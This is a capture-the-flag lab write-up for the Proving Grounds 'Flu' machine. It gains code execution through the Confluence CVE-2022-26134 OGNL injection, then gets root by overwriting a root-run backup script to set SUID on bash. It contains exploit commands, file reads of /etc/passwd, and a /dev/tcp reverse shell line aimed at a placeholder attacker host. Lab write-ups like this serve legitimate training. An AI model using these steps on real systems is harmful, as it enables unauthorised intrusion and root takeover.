# Flu Writeup - Proving Grounds

> Intermediate Linux box exploiting Atlassian Confluence CVE-2022-26134 OGNL injection for remote code execution as the confluence user, then overwriting a root-run backup script in /opt to set SUID on bash for a root shell.

- **URL:** https://hackindex.io/writeups/flu
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** ssti, confluence, privilege-escalation, suid, cve-2022-26134
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-07

Flu runs an outdated Atlassian Confluence on port 8090, vulnerable to the CVE-2022-26134 OGNL injection pre-auth RCE. A public exploit lands code execution as the `confluence` user, and a root-owned backup script in a writable `/opt` path is overwritten to set SUID on `/bin/bash`, giving a root shell.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV --reason $TARGET_IP
# PORT     STATE SERVICE REASON         VERSION
# 22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
# 8090/tcp open  http    syn-ack ttl 63 Apache Tomcat (language: en)
# |_http-favicon: Unknown favicon MD5: 966E60F8EB85B7EA43A7B0095F3E2336
# |_http-trane-info: Problem with XML parsing of /evox/about
# | http-methods:
# |_  Supported Methods: GET HEAD POST OPTIONS
# 8091/tcp open  jamlink? syn-ack ttl 63
# | fingerprint-strings:
# |   GetRequest:
# |     HTTP/1.1 204 No Content
# |     Server: Aleph/0.4.6
```

SSH on 22, a Tomcat-fronted web app on 8090, and a secondary Aleph service on 8091. The web app on 8090 is the target.

### Whatweb

Fingerprint the web application.

```bash
whatweb http://$TARGET_IP:8090
# http://$TARGET_IP:8090 [302 Found] Confluence, Cookies[JSESSIONID], Country[RESERVED][ZZ]
# http://$TARGET_IP:8090/login.action?os_destination=%2Findex.action&permissionViolation=true [200 OK]
```

The app is Atlassian Confluence, redirecting to `login.action`. Browsing to it confirms a Confluence login page.

![](https://hackindex.io/storage/vM3YL1xsb0WPar3YLcDU1e0YMhzGcgZKOZpMDsZl.png)

The page footer leaks the version: Powered by Atlassian Confluence 7.13.6. That build is vulnerable to CVE-2022-26134, a pre-auth OGNL injection giving remote code execution.

## Exploitation

### Confluence OGNL injection (CVE-2022-26134)

A public exploit for CVE-2022-26134 is on Exploit-DB (50952). Run it with a single command to confirm execution.

```bash
python3 50952.py -u http://$TARGET_IP:8090 -c id
# [-] CVE-2022-26134
# [-] Confluence Pre-Auth Remote Code Execution via OGNL Injection
#
# Found: http://$TARGET_IP:8090 // uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
#
# [!] Saving the output result in: exploit_result.txt
```

Code runs as `confluence`. A Metasploit module exists but did not return a session here.

```bash
msfconsole
# msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > run
# [*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable. Successfully tested OGNL injection.
# [*] Executing cmd/unix/php/meterpreter/reverse_tcp (Unix Command)
# [*] Exploit completed, but no session was created.
```

No session, so stick with the Exploit-DB script. It reads files just as easily.

```bash
python3 50952.py -u http://$TARGET_IP:8090 -c 'cat /etc/passwd'
# Found: http://$TARGET_IP:8090 // root:x:0:0:root:/root:/bin/bash
# <snip>
# confluence:x:1001:1001::/home/confluence:/bin/sh
```

To get an interactive shell, use a CVE-2022-26134 shell exploit against the same endpoint.

```bash
python3 through_the_wire.py --rhost $TARGET_IP --rport 8090 --lhost $ATTACKER_IP --protocol http
# confluence@flu:/opt/atlassian/confluence/bin$ cd /home/confluence
# confluence@flu:/home/confluence$ id
# uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
```

Shell as `confluence`. Move on to privilege escalation.

## Privilege Escalation

Enumerating `/opt` turns up a backup script that root runs on a schedule. Read it, then check its ownership and permissions.

```bash
#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP

tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP

# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
```

```bash
ls -la /opt/log-backup.sh
# -rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 log-backup.sh
```

The script writes to `/root/backup`, so it runs as root, and the file is owned by `confluence`. Setting SUID on bash directly as `confluence` is denied, but the script runs as root, so point it at bash instead.

```bash
chmod u+s /bin/bash
echo chmod u+s /bin/bash > /opt/log-backup.sh
# chmod: changing permissions of '/bin/bash': Operation not permitted
```

We own the file, so overwrite it with a single `chmod u+s /bin/bash`. On the next root run the SUID bit lands on bash.

```bash
ls -alh /bin/bash
bash -i -p
# -rwsr-xr-x 1 root root 1.4M Jan  7  2023 /bin/bash
# bash-5.2# id
# uid=1001(confluence) gid=1001(confluence) euid=0(root) groups=1001(confluence)
```

`bash -i -p` preserves the root euid, giving a root shell. Alternatively, append a reverse shell to the script and catch it as root.

```bash
nc -nlvp $ATTACKER_PORT
```

```bash
echo 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1' >> /opt/log-backup.sh
```

Root achieved.

Related

## References

- [Exploit-DB 50952](https://www.exploit-db.com/exploits/50952) - Atlassian Confluence CVE-2022-26134 OGNL injection pre-auth remote code execution.
- [CVE-2022-26134](https://nvd.nist.gov/vuln/detail/CVE-2022-26134) - OGNL injection in Confluence Server and Data Center allowing unauthenticated remote code execution.